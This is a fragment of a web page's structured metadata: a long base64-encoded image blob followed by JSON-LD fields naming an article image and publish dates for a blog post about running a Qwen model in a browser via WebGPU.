ezGYgEszMai3PebdJ\/8l0l\/wnJBiQpV4Dvi\/2b+jV6njLNwP4w+G1ut7kd0YbxWgSU1lkENquaazz5LJTunlj06V2PJB8gwhbOrEPl14ZZmTDmvhdZwl1hIbeqRTVR5MTuWB30gCIEjj4gVC6aSUtJJEAA44TkIaJZv7UWys\/FeZ3VR64nT1C8ruX9TpdfcSWrH13iVW4Qna6+0JONUv\/23pzEKMtZtKWuUOmZ8pcS5GmNNn7GTLNhQ7ZUtJ+rUheFYao631tQIX44WffVBFBxSdkHzEppzV3GkN9oc14StJDOHABWakoxAcubW5UpYRghkVezEutchVENrey8Z8FD7lwP\/tSfNtkOydDbD0R4gauPJgDTKTJnWtXahDgmFqijoKf5A3GlXsnM5cp8xaRO+GRAoFQMnBaNEcNXypuGNqFUwx86RLMNG9oCVuh1dSdlUKFdNb0NiDW7a9OGOwVzLC3o+YuVy2mHqcEWpQp9pcthjG9GUE7DhsS+b7a3Vwewl0+H9zw1oxEZnpH7p2uvqI3Gsos\/IHfir\/xGncQDhcHhoEb4BSppehnWTSzXHcuT1xHBbVe60uX1MFTDJDcEBUtn+eJS4y3GniULW1Tu8jZNK\/\/IW1fSUPXp7NYTCDANNyCSd4vhFsaqNNv3pRD+PMCYr6RcjsAaFA7hTL1Ni\/IixnW7PtXCYDwJL6qDgUpPHVRTZsPuDZcjxEuu3mfgh6ZKQA6SDycfokZ\/BjkmdUXBU4QM3Hry4ytnEJC8\/3jm9Bx0M2orQ7kFFpbii9CZ6irT+2ba9n1mx9NO1x2HXWHd+PkU+jBxotIXe+E0OkwfFS1cs\/pv1R1mX5+1Oj4v5cDKIAx3Qk+w+NTEX3huqraU2X8Y1HEu+CMlGYo1c37TMiu0UyGj7VDxEsi7YnqaYHWFWBX0hQhhe3UM5MDByHVuhIBxvjJfHWPnJ5JXUtnCMxkPkwjAcQK6jeM4aoNacXL+FlfIq+j7O1OXT1WyqQAygJ+J933VsSHJsWIzZJiHAg6v2rSVJ0QeONm3VMYDa1wm\/6jqGvWcdwCDkvzZ+MUfLhCJEqhwlga4IRYlRnTBUFvISBFnbMDuTmcboDK2BNnRDnjiuVXnJQxwaNQaAzluYceDcuoYI7nyvSq5W2\/aUBmQDgUFjvmi2Z7qM5xt5NodfCA3m9BCzceKk6JwDyDv+y17pAaGbh8letVHoQnRaI\/8YUSQPu5NM5pJhUKuVXmf0EspNSMBAkgvWVnfsTuGqOfpjkK0yTSz32TiCPuzFRzqjuGMIOS9JqRYNWCkSoDXuZwNEMgKUKzDGyEgL8ljiei5u66ck39Fj+fDqJxuPsaANWk9W6FwOhpZNgdmXaD49WJ3MGJk5jKvSa17D8qqsjio3c4cVnFr7+\/e4+4f+LJVPFinei3FpLOzgNRsqSsi0m+jXw7oWchZSmnMv21CjgyMJoVSzXIZCXrWN4BaasLK6A9tV8wLSejLXHyr2UcGXE7RoOHmqrVHqZfvOjTGiiA64813f42o\/pvz9F\/N9+jh68XZ5zKrYoilqfD89W20oaGT0rcd3TmCGlk1xD299vqPSKftYzY8nPTcVV4j4AQqH58Og1voWlDuv\/Oxu2wDxZivSxzde9HAtkT10LTBfPhbqPJtaufy9x\/iDU9IwbzWtsSlaHoLFTfED9pywqml3r+Ht9pcU72gEc9HP4I8VfohX8H+iLAETG1W+4fiUmOznGIOrCT0SoEjxN99wgtjBNJBx\/Jk8FLvF\/goxaWkgQP5nSa8gtxk141YVKh8HzkTHOcWfpBSjJbKIM6s6dbrIwVLrErRSRXhryCCmCT3pPxrhBVN3MMajJiXLd6SBmNg2WqgzsVcrT0tQ1Y8gZx5ZDlIH6wEUyzTKVh+g0PtOVEP8j+Eje0DgjXca7ejyKGJnsPV0iV3XZ7aYv7iQ2wmfaz8ydbNkKNicEMiH8BiaHcZTzbKVNTXfUeUx7iMkEiBbHaU78h2Pf0aITGjWgYPR4VtQ+NKSLNZT3J6Zyj+9Qbx5U5t1UtvNXDj23m\/ane5z+QmA5qasVRL4sRv0YYJ\/M928u5NC3TyUPA1bje7xA9dazSud99hhUaVXyGLNhuml4oyDEAsgY\/ft2zw1BFjom2K5gkvRK+IV3VOscOKJVCIPnXvz9hBXnlyeNRN4z132tyeH9HNeyQqb6t9ofD1crmLoUrb5Dt+aDHximc6NzqQecREtkxGpB50RKVYm2OIfYyaE+pkuyWXQhWfC4G3TDvQUjMCqaGvN3\/U8vTYz54Ue\/qyI02fsN6mtyusjioknucVLP5LY7p+Cg7hAzUj\/Vr40hhPWY6hurC5lVScKbC9WKZcfioBOolT8KkP6doXBSDmpw9JA4AqlM6VjKId9Mz2wswbwB4sTDkP7aQfXhuH3bMn\/9fPFIt0vQCwKFETUB7rmZc1X39T2uiBMvcM7nVVB4CjPk5knFwENx9odlNuv4oWc1WgPBD+yuqc\/iF3bfx3dcfngYm1xqACTuxNFh99gc+oELbCbY4u9LLqTVoRwxDrJcvT7kfMsyWOnJWXd07k7RRhCoNkYYA99COPHI93pIpOT43Vvn7uagq3iRzP31FFWDA61ADkn8RuJEMZdygtBwdTDj9N4KLTTs69fe+PitUyvHVzcVTwzdEmTW7U3FD5G0Cs975zzEfppkbE+4j\/ub\/4HmQe+OTV\/5zxqq4diuJk+NVdMlvWNWMxwrJxxmT5YfV3gHnrmMSTL0P0wL94B8rPidFkkxTbcu1C8n0M8jPt7WZha6cK1SiZg6\/pDhpUDLNwyRQzmhHHMbE3AQVVnpd8KOsw8Nv5dk09Jc\/TNr0BxiIi9eXyqZai+D\/KTcSN3I7Aul22VglSzh65E7+LdnmEcVzD+cWEV85rP4PrfVIACt1fN3G8W0ukMSPcC5ejxcs7e4jB1l9GdI+bYj52Z8fJEfT7jfXIIdV2N\/5N07WY02o44fMEy\/N6MLEQgXiKcYb4XAbjlgVTJKT9peAH0gPHHZt21I2J8TJ5w4HMbJGTTSNQtHc\/qFPBdih7eWTrDyeBKRexJ0Hf3pok95+09yCTn+dT+Chcl+7YDsinGw9fjdidZs5so4cqz70Nucs2bv+vcWIgGi+MqiSfCBkxeKLfG\/YyzeL+ySSeDF4ho63Y8U6OCq8nugULvtJZPBeKBOGsBFUs2OcU5Ojv1Hj2DYKC\/Z\/XMrErCjyvm90NKrqhrKMQh0rsIetcFcWilFFOE\/vLis2jLUGNsj0bwrKJC49EcixJvXZ9VavzpbETVnifZ7JO5Pvo3ElkagrN\/8dleR6qN8Ybfx9UNsk8TBe51Qzb+AECowUHAlXf4wQqfwtw8q3MuuAYRRuroj5u6dFFwgTDRreITRMEgtZXm2AtFpiJWujMOc10tJNVHgDChBXcgb+6hQ5OeDkeI+l4YnnhGZtAz26gRUegnBRXnxlgJOmnA0mgvr2OUArTyn1oEOoRqILqRAdX\/TXBFFbhLeF\/ipImhxaGnYIIQ4X4zOHAk\/O64hTrqG0T3G\/sJNZ9L9UljipTS+qSCnSrQB9bXrMUINoyGGWxmiIeA5BqCoRdSTvOpQG0luLqEQ3GWyqqOI6VCGZ\/iGqbDnBvnkqA1UCZQkLt\/X0y5MOUxj3f1Y7PJeqTUnWHzkkEEbWBP+Ym2hOXqmA90FB0SEILrb8srTjYyxym6E\/eoRJsO+MsJlHlLuWR0+PyPuWpWQdPj9SjZPkiPHmZ3mR0Q507FHzrAoWX01gJBHllJP21OL82GG\/8BJQFhMu0CcGA4FcKh0NeWqP29PPBoFrVY7EnXfi99UvLWBB3ViM83Rfx+ynM\/K\/GJvUto2jNcLZpXk3Br70t81PwJ8TxrJkMjoS\/olyqPKvmSPhGsbbz7qNIllkrali8iNL0lOOquzDV2BZyzpZqom1N3coE0dsck4Zm7c9RMOYSNgBSpu0on+ARpF1vPj7wHXOt5lXkHS+j\/CGux12cQMzZS6Vh9j4lhf1RPHzBoy7w4NtokBvF559idb+9be37fFvuj4m7p7GXTuiTLfixqyd3bNGvkGeb78dRyS88BtQ9l1cbFrhoZixwbxoLeo6yOwxKydNC62k\/jdr3OsaIThckR1+9BwHCQ++9xLW0z5gJBUZzSfvoNPHJQsK0SH8GKOmpQ+ZFXfIdj9XL3F44ESdKzUxIQoq177Y4vVfG6kp+852\/ugEdkb\/8cfH5RzysgWvVcsDJZifrIzvPls+H5M69eNYPfjidbLj48sbD6S4Kgskmnkt1giFj+Yf8gnX1FM0GB9UMMeKIjqqtlWSlyaG2+9F7+wx8963Ifj6N+hEgCG7\/ChiOplFuWzeBBxfHUSFlKwuLnDYWx1U42C9a+32743NG9B8C2uU8EQVozQCyCv5f0H9xjTuytrHejcNwgTSxl6M+4yHrf\/NECEl4Sa6BesJZHyUI5Wp0PicFXzImtu\/gm\/P4j4uTnvzbhkqT9mhr+PgexFdhkWeZ940VJSKjh0WVZSZgTCf807DjaLcGGKAbUZT0z6u0eZFHyuXJ9IVlmaIlSY2vwZ8WYUpUMIzCX+P1Klv5DvweXsELNnB1vjezEbdWeph\/Afz0L0m5OjE0gzn3idZHPfjnKeZo3XrkIiwE2f7OeJTum+n973pU2RsWXMUtXVx1jPpg4hFvYZYBONvbkMzqPoNGfmcvy0beDSx60L5EpwKNU3jzYelg7xv\/U3dTbKp97bw7UpikTw8WEXlFwoXpmx9r\/yrBfGtqrZy9xm35+cQfbznCckcithTdkKrUXE2LfSU1R7x+Aj4yJ2YcU6R2RzGBnXmLXuGp+cGxjtpRDoJ1Y2SGTSXJdD+eRz1l9cXk6BW6BGQ\/ppOUyibmWzNHtEb7Wb5k1z2\/gQo\/1QLjRE2bT8nRfVqeuEV1CTNvwAf2ljkQ29fzpPACVwM5Db87dblKC6uqYBG2j\/hrcZ7eIlN5My+qdzXx0WlBiEOAw7clgoXOtkcgh9lAqVQDjBA9vsaBuN3o5s+qVwFVzatuGI1qyATD5SSSlcU7dNezUIIWTyxIbzTMA4KLgYaSh2ZtMXFXlN0zNm0KfREakOxdZKXLi+yoTQX3drF2yE9ve4Zbvt7NHkGB1fOCGwXXOk7bNqN\/0DszuXhU\/AmmoSBmSNFpeEeY9RBfSJIY3771JIxJIj5wRbNJJLLlEuKYh9hCaN\/0b8\/cNNEZpT32w9Kszxmj0NjS0dzUSotfCDddSWSLCouwYfflsM4UqdulNj+drliRqUeA7rBgStPzUeTBW\/Gjj9w\/4AkVk9pXU9ycBBukWyaM9aXPXBXZohCR5zEt+ThJ+bgmpBI+V3XtvnG5esSGYYVY1Bq7qxVAKEsdLQ89ZxDpNoNHpovEq7q\/38riwS4Q1OQwq8kMyIJSY0p+rJT7SEmisEMi\/9pBMIuBEZa5xf+eor\/aWCGjBe6\/Wh0gabu1Sp9YYF2RrQFTS6Mcz67sEobqBcx2Tjcoi1LIesrPKxHBfSe89siNSwhnrcVXF8pabFT\/xifnfeX33J0EsWIj7OCcAG\/co6C1+W\/bOGcKrAT6pPP\/cNwoIL5vD93Ejj4HdEpmOMYwiFMTs8iCf97omuMx3QU8OFrI1EoBZwoKDz9Hxxmyqr+LrEIPAn0+jVmzw0hswYJducMEZzGE1bO23ZGXB2mEUTJnbCiCzKpmbd7cscq4WO2lCYhTSs6R\/bSpERp4GlEfSowLPmgnh8yZ5Kj0NpZRTrEpnWX1+VvJV7VtH\/YgSr+fRobG6PF0OSKePBfyL9pNitoLDIor3GPaANiuo56MvRbktwVhBOydvXYr\/gdsrKAYc0FXbzkQXFstkY28nVddtcc2WlJkf1LN5+TOrHRAXKzLlz15BzwsaqEidFHxVtZ6Q2A3amg5lom8n6gW0mp5nGQRfecVnGPjERg7IZPYi5G2SqwK4Mxx\/QC+8Y7k4I+517+MhEAJWsj4KkuHvr+vl4gcvWJafSVdvG2hq6JVehKV\/rEvXWzmot0bg6b4rNtS7wIowx5FZO5WSfSev9JRsbjaGuNysyFEEUQHZQ5yHSfHLmvPiGVTz8uqvEFRcAe7zdqzG2YRiKlA9XXaYC\/By\/qLNXqdZkfJ2wy7bRyM3\/PNU3XGbfpUF0p94VGCjHXrI0\/\/DvKIT8041uy83IAChXOJweNiufoP9xB42PR5+x1ahbQe1Hzmgqmt4mxAkbCobWW58Tk95M1zko+SyOS++mpj8jbdqytZF0Cp8Y4kjjtBqJ8B6Hew9ahViB7BqpZ50GTPzyfEc38UObePkruo3J5H5CDW8J5cfKtWD1tKcLHM43xzjYfJov50K\/TMqgjzlPvxUvuufwYvBnQJCDjC7sgBeRwD4m\/Tg2kotr\/vq5kW2k3e23+qhInwA2UFhBCTctdzQ4REWBLfMkERObcq8PDhywIxXoaf9J7xzqZYkruCVSuREd53T6Ml6vfy6S46fqIif11Df3UDNT61VJA1+hwP2+9XekDPf23qeZwyJQb5OWBWnKViqIKQS0tI0Mz9iIP8Rnm3B76z1YXpGHcz06SL88VDCbFVHJAz2bqyR5ah7ltwYRPN1ONG7cyzp411KGI2nYVZd+hkvXvZJyGkYEWxCBkMfgEiLdZcGzhDRwOlZfzcBfI7vrrNNpf+K1FP3mEJqp6DNqs81j2cIZdC44M4HMdSpbqFmoPgoEux4tgw9zBxdBIlxnTMHhqiYHbcAXcC6urbK3QuIfP\/1MBByyjMUi41dwZ4LOLC4WbR\/D02WDxAPx3tHVLjfElEMGjTIRLRdJtrfaYNM10Sxa0n7KsYyQqvUGF6DkpnhUYLjDpS1tZW4a2yPyBVXiZP8S0Dl0BAXdvTw+bjaAUzR2FHazFmcLS5gZXBG7rj6GddDcsre6PRmVksRchk2hTArPSVeNrXOtmH0\/0yzRVQ4gk8EdlMLTJmq6FyTLbx2TG6J7fPGrcbwMG6s2qWXjFbCxfeeJvnqIvSSQOW106a3ChvZyDdQsLkKetZpMyPYZwKksNeqyV\/UMlyW0Wu6qRLLxqs1JV34nxb3y7r5yfXlr3XKrj42vu27X9YbXoMSknvrlWz38PEdFHZ7KcSVgBb1R+IW3KpZ081Yx9XByxc9NR3ZStoieDkelnHrQwhr7N\/njpnN8FvoQv6FjH9UZEbLKULA5AbBwrIr7mXXI+QGmH9UfnKi9+le+m1AMV1QPXsf\/N24aKxPJeIQRgYXy4r543Zjp3f+61rEsAW9v+BDgjJe6S6JnRTT0OAx\/\/LJe7OV1kQicveZ1+S5ca2Ch61YUAUdSCofH8ONzM9pl0pcib1rKPi963UPwhzrziTjrCZZsXt+J8inogdYIiPULm3GYBl0GX6xaNsk93vOF1Kk5lx0YwFQTctBIDTEw+kI2Kaqwm7M\/wIxTiD1xaT0s4kHbIh+b7GeDCK0yZHImFxcJ5fznWkwdo6lhCE2MuI8z8z1KtJ9HPZMSWqsRhhLO9veOeJpEWqxj2N8GAq\/x\/XQtRLkKloSl3HBsfJt\/Sg601xgHhV03zoXZWcN2lmXXglX2l13gvwT15k4BMyva9LxUiM5sLrsLBapmruMzoOO7OV\/bige3n26Jh1ccYApEeX9wNLlj5lwd1Q147bvVCZ\/rHG2g6bYeWdJ7PxoyD58ZV3Mbu\/4FIJhDRWz6iKQxDFiO0ifiTwJd\/ktOewXc9dgNskTMb\/ldFtXiey7\/Q7xljG\/nQlRKoOfMSjj1DyG+qFOTmFXx5fHxJjrTAjhf\/3mU1WR7\/70DALjeWtyL8AR3h2gU5d8auRx+kSIUWVRwCKdXEABRQQZShpGak6nefGPjPWuFhnhlODDopuXQE7xx0kQy23cPe3kaEwFl+vbDHT0Vna\/e9U\/xidhQC2BOlB4t\/h\/WV1DYrXCCHlcSg7MFbHAWOh9akFSB7VRVzX+kU5d1XfM94ardV1O3zglv2OTbOnVF2IdmKSTK2NiCxhCLoLmt2khke4XQtHnGlwfzoOADsKUOHSJU3Lun77Cx\/gTqz8heEh4qBJW+visGbptLRhEDrWVfpDAWz2XfFvLo6DEinTeMbiEpIRWuRD0FX8oMugqo7Lfb9Y6gQK1gUabDP6xmzxu37\/4Y0sBW2EbO2bx7hGL2ZW0h3DxMa8GvsX27381p4tQa+saGDIHKHs\/RuvrZJnqSbYHCVey\/zQFiJIOqiJI2bBv5wHxKWUk6oUW1DbQs782AYd4vHjiUDN\/qk2SG8NE9yFWUEwDzRuVcQ1vDVEpVGqoXmFyMP2vozTXFwq5lKF1gi1ybxMcJTGz1vlPJpVseoCwclFbkjhYof4Yf20k7ctCfepKxiQFR11G5jUjQUKY01IA6jFsUvRD\/b48DMkeslnTwYS3jhtRQf\/US1aZLzK4EsKiFBf32py4qclIKOglpj2avMl8FTkiw31+CdnWKZ635jQHp7juYIZ3LMGLamUxTe0VUYrmVEBWYe\/T8Fs\/\/edmFivOTXVLQbEEca+CkMzW9kRr6iJC\/HVvGGDfGiZMZ85TnSEWTND1dJj1D7TYFVoTUUQuH\/F2vX0bwac\/PY9TmPmMwE+fKFqQBMgJn9UfDO7h8RoIeeItiV43sJlYvo+3mDgIkikw3\/E4gsVXrKhIZdwQFTz9YteoV7eViZyczN9o4b3bf6PcmCMp2s+WN7iZygQUR8tNhn\/rfkorULz1xQ4EXxEVVoLrwnKsU7fr73TKYwiJphVIAkYAAEnYkE1qKfbRcCvgWS3ARlaFOibPhGFf73NOw4oS\/mhs8a0Hm9D+q\/J+qSWDuHfvEuU\/\/z1pZC6QxHLm3AZxHtswhZIoOmdT8kt3Z1C7A\/7HfUP0hJ0R1QmG0lwNAn8UycVSeMmncUeZUGwIP9BTqg0lKTKON6SVDr2ZVSBzVoxi8vyL\/OXgDf\/tr5J2qQ1\/hry9NiqamLzY9Q4LBJ83X93sB5pRsG6haWnUNZy4C8bEdJsmKRkAdURfQoGNjUcGwX3gVdW9MIM5HYiFoAMJxedIWw2fUTHCFSfa4xGVkAFU\/VjvyhqOe4vxxwjoP\/YLjF+lhmkBsOfxTdtFEh8SmXi+JuEVryG9r4lH68+jFWzlb5ZeP77pnx0SJ8wAYckt9iT\/gsPi8Sf0FMqWqqdWnFsFUdKsnDhW2hNDN1U+jaeNUP2uhTMCxUkeppZImsFHkt3qpnU1cVHvrcwZIOFgsLrLVFquCCYD4Df5HU0\/Z3bSAcDGCqNzGbt8iklLHOlJxWnm638mRx687oCpmQQVIpir1x\/Bm6HYPHHS438LA\/vQhJBQqwRXHHXxeDdUoDPnLHB+CzHZbT4t4MVAVdEOgt4IUSxvWVqRTtvWxtL8grwr+AVpNOkq9ZNRORhF5RTX3uxc5mh3i8QvtT7F7jeBTPCsI1byH0MIDFhtx1NTb0bnmk8CTflBKeXld9sl99bc9WRwLLASN4Wrn6X5fNs6iW75xXu0qzQPYPXHjQizyzAXOJrrJgdcjsLziv6NpR723cccbZCbrTmfPPfFU1df+6OtQy3bvsW89X\/VdMlTMFlddloEPrcxCxmA7WGplMFQcEO\/MpdMnHRAAAAAACY6H9dABhWARvHXJNl\/K22dOeK7AiPvi0pXuQR7fi+3nElqtusANCJo+ZrkFO2So5g3AKxvweE2rhCfwprgo+jW5JA9AN5nSz0+HyqA0Vw4eA1xpcLPt9XY54xkZ3\/eqMkPy7ejoehJ\/Ytfhhtj3NUn9z3NrhoTSH6\/Q1l6mo4fd7n4VM+iH1VF3ydDA0g1D+oRupIzrzzwhtthHuSe\/y9ZulbGSDRocRqu2AlRKKoj6SqOZPOKwFaIkPJw8o1I0YNo3\/jXVNzrCGyghleQMcJY7Hnk196U0bstIz4iaSRmH+pqszuyb5xyLaJPwMVhNcVdjyu+gp1pihlfDRGOidfGclUczawA1v6AxZrdqKUC3StUADsDRdHApg8ycoeWw4nCNL1Ps2fbhDzKeWhVCs\/EzQ+fQyUcs6Mxug1\/C6K2SXxR92iWtD71m3AfYsokBqbx3WaQQKdUU8\/zZdpAVZ+fxcqcQCwvyqbD5UTpbR8h\/EaE6FX523mBkL9\/pBZoKjfLo6CFZxvmXvNPYP1m5lKfEiPyYvfBBr8J4eAvfsdimk8mur\/8RJcIV8BZtAIo7STnytxsJKpg7JY3fPxPcAwAAsUU2H0TsoJQx9LrVq3tEwCfoGmWq5wHY7Lyik\/NLrQpdZi1XO7ApeLlznre0B0TjfeSQF4UfsxYHeFrmrIRjUnOUfpyRf2SGl5dz4Fg1wAyNSYvDDv8c7tanSucBadAWtNBQysT+sHX7VrCu9KP7Q+roeR+PhLiaTA5Wv9G3DcB\/nZrY00mVPrnNCVrPnDK551j3qM1zst3LuDPh5u3OA69yJwLEmOfAt6CZbZIFUspfHaArXctBVU7cir0TaJJh1RzOGJKBhyCZA3\/tubJ9AVX2hnNIA3MRx1hyni2flFblqmuizMBYjJlfQaFlezTf\/mmsCoZf0NllBQEeJLh4HsoRpwtrFZpMQeO0xY1jB799B4pXoM9FX0E9wBINF33VQw4UHLcvNytz9vKGeBABK8rFAnYAAAOtBeJJC1boaM57yd02ZnnJEhFFnMnkz8gfCosAzN1i180CzFj\/Pb0orAkU+3KGQD8mRQI0jGmuyCgqUVTjBjtN9F8YbVQaqH7fkJ\/8MQMwVljAropRTbpL2ATS8WhP\/cS+YIp2RXteDyMhFHz4lOS0K0ebKX6v\/3YSsMXXI2UZ0T1gfG81obs5L99zSQIbEBtj3bbXHD\/vcqMHZROAVuzP6IZ7m3yhNs9d1SDrMpyqYf9iVpL6lixUutjgvolIWCTUDoifyNVRSv0uvwKWDZ4l0iXrDUHStZAUyJ5orp8x7oJ6fP7s+Z0MgzF4F8YzCby2NQ9Ob3RXhGy7zIpin+hlH3H53XWDfeb\/r5h+GRFkAubWcdsC1loQuXJlrbjouFIA2mC34Lv1zV\/xrZ1ov+1mn43X8DDT\/rtZLOWmv4oWdEyyeDi7spo0nefabB\/GL4V5zYef2H94meQRGBLdA5ZKH3V0jwV0SRWDLcKsq6sxr9L72dXD+w5RW0LWtMbcPIRBXK0b19VI3uSCPnIF63U8R0xp+xNDyw5yQmP57OuCW6HaEHinwwt6t9kBvjVRJqHfI8wzuhmnFsGlua8ZBn6iXNbfu4xgppULSYBKFt2Yo8BhEsuCVvqnMUztnPPFsRurgEY9ul7aK+F4LobN93Y1SBBZXE9LueYJ\/HiGwOchw\/Bkr1IIUv0bCHeRfXFUgpnZQDMFOPc\/kVKv\/Bh+4XGk8Ay\/JwccN7Z6afM9Pu9Awk6hgpoAAAABpgluBoAAAAAAAg7mI0nOSezzR5a\/HQiujjexVpeJLzdLYu+CDQLzGUkHAb51c33rxGikjzSYwxwCvkZMirm8PyIwttPXcd5jz\/IzoAjMej0bclfxQznRIIVMrdDppcDmjNV5rloca0JzLJhSdJLfJLgVzvCa5pYW43O7jxsVpo8\/tGZse5FcyuXtKvCC0V3WMN5R36yJJAv9httIVF2X42awtudpNzfUGRTpURUDbui66s\/PDoLrPbPxfvTurQ8jvV5KJaheVN9IDto5xtAcbLCFtknmzGL0EL1y4bk4m1+45mk+S70NmWsLwoLNWsWf2+c4LL+Ltej+ydgrLR4+2siYAC\/Dz6EGN1p6jr7ctE8m2oVJSxpf0onJ4CLHME9PE5ZGa33XjIUQDPFR2tjM3\/Nef+7Zu1gglUr56Y4u6CdCh8BMPkVvBTC7YHZYn7wLbTjJiVNm6zpo0LYSh53RGdacnAtmEzy7VZkMgy208E29hpuII8+eiPYG5Mrusgp6jgqgD5I9rKci\/y1kroZnGCaLxgOMlLf0rZsUS4NgC5tGATcaCGG0C7e4payPwJQM2xrHoPqfkBaZTVFFN9dm1lZSvXwkZdh50S7HLJNmqYI5GhGuO028LhxQLEg14QA6ipD\/OiGuU+JCDpxPr5pEbz6idnstd8Oz8tC4gT4+AL4FNtqOwa4o95bkkob77VNv3Tzrn1A+9KASpsdKYn1D8kIarE4Ym96lRnWTHbJ7Iec59sqv3\/+0+MFBH2WohPIsyUfZdP5OOkjPtS0GJxTg0iARYAJG8XOWnD5eUmrIQFEMs5su+IKPOvQY3r4b7uUrHpbDwoYeyNtMvUDG8mdG27OusKJ0y\/mc87RVzz+WMA002DeKc9JrNajq8rx0tscl8ZQlmxVIvRtN8ZPm3kE6cn76ZM3TyDuwk2qsa4ABpr\/iz9Yk9I3WL+tOx0DB3HzgRtUzhhHXlidh+Ghihm3hHCiaYPF32ct5KC\/OQMeRLs\/sxPU2Ozv96MMmaKQeFZERRRkLyENFJBuu8p0VikEhAF6aW+RYV3zRyy816LEJtwGU18+yfI5+mqWo21uwBgM\/czjZtylStfiQI7zhZbskFJ3+10SfUdCvWRVSBFLFkR+Hak8PLtYkzC9qx8Nd4uwo2\/Y+a86hIeo1bI2isluxVrztyG76Rg0XH7k1p6cESnqjXwcbo0oEo1sIAlC12bFFfID1yImB7alFnBLtV2Bzc7EvuHnjBnQEJ3ZtBWXnLivk62DexSMBbGCOWGqurBdT+CXVYYO17WYQhk8KknBkpwD1R2BKIh\/bPr\/yXHnIXpyXhqLpwro1dd5f6Z\/5TqDmzgL17mNdqJixzS6JAF3e2KS\/yzLv1x9xtkIXrX7klU46H12svlnPZcwS1Shfzjklw8I4nr4cv7cP3C7FhRHUosdOIrB2z5P4LDs8rze2MBKAvrHTp+CtPnmwfxdfD7cfrswP44SdZ32MRl1uZ4piROKeI6Qeg4Zskeg8uVVjAtUJlUI1TtlcZy6eLPBjfISVjPZyIIqMD9imqbYVZxP99Adrsw\/mUyNOASc\/BEFz8h+YhSCy\/JMjANSAP1EHkhllxL0piIdwccNkltS1r0EO8BOvrujhgfD0TYF7pGirW0wUhHI0qOk8rZcbJwmB9c29uSfkFXS+Kpr484MZryc0yvtKVDamIvlulkXsmbkOvq9k7em5XyiCXQwbqvxqB3YaeurMhb8ukVzE6FmfISoRnEoFmpm7eMiph5ZkavXvtrcJYxndulnkl8FQnjY\/fmKrboqIMIU7awekzitqE\/fYai4dntLmA+dfDbBZTM5gtHnkbmFhQbNVHwfl4m1rhUlc+xEw75\/8iLLvGAoDYEDTIqwwERGpWX+0KCwbOyGRngymbxrIp2kdScJZyD36PHbD3UBS1B5avLI7ynCHkV2GB8lAsoutm9ZUwqpt7bxggN71pFjrMum4Lf2bF4Y7f35+P4lLIPRu6e6pJeC\/ypV8QDOVwDo1bTCnVlJ9KV6JcSF8rV+31jtVU45cKfSzZvI4m6eRQd2InIU4jizVw1FGGIfP6\/g\/mwhmJwJT\/5WqP3X3S0RP+r6sowXDCc8k+Zf066CKk8eyDyjuG2DPg8hJUvoLcR+4Er\/2JuPn3+ixGdX\/0NoOn6iCFkt5YyJb1K4y3gpLMK2vsAt\/VlVE+JaQHuNO2uLrasBIyTdDAx+6keMIt8K3FqdtF2KHF0QBU+hoY\/FmRk1DVDQ9oJjNbpvNaIySlLzYpocu6pepa7jkPFXYFZGvssdUeP+CGq8pmc8CANNzxEgw2\/ZKk6\/NzW6Xo\/lsAXQSuAFBPUklESDwuJiRyonZBWQjT5CQvVCpGSy3hwLm4tRXzYd0\/j\/u5MfUnkMT3sB\/WZSQwjLCbZxRTwRcJapYijU5fBfimMxhQW26NXU6vtP9GskxdoHlbXlZfXLaMwuwO7ZoHXk5ks5uw4iG6tEFsyNeDZRDFkc8f8ZVA2YmphjxMoLaUJ9PQsWiIR3HmeS08vcoA1pU4eaXX5nQ\/puUPK4nyGBadh3ESbE8fITCGmPlBw8Z7gtcKSYzU62PA0JoQIvrG+xYMegtENM2y5daf+ryk3baNz353LkF7vWG2SJxaipuJ32waRsutQJ5Ty6eW7+aDYZRBZx+AS9OAQFCKFhZRKGJqH+43g3MR\/v\/CfTP+QbA8YHNhDSjU1qultxjrEdoAfk8VpgAJ2IpDZGDVUcVEQU2Bomi44fFzV7JsaCq0UQd62o5kFmtnLRUFvBclblSATCxFCsSZP7jgIYV5+E5\/xcib8usC1jQ9tgGyzZbRccqi+Hs6wtFDoG6B8tSsn2sWYxlQy+fzjGoC0EwdXHU\/2kcwM7koACJsiOhIoViCwekg6fbxRNfgptPF2pWbqbBg\/lEI26WJpRy04MTSsLsD4xHPUOHa0tMmsAAAAAA==","@id":"https:\/\/fabriziogarcia.com\/en\/run-qwen3-5-122b-a10b-via-webgpu-browser-with-native-fp4-full-method\/#articleImage"},"datePublished":"2026-07-17T14:45:32-05:00","dateModified":"2026-07-17T14:45:32-0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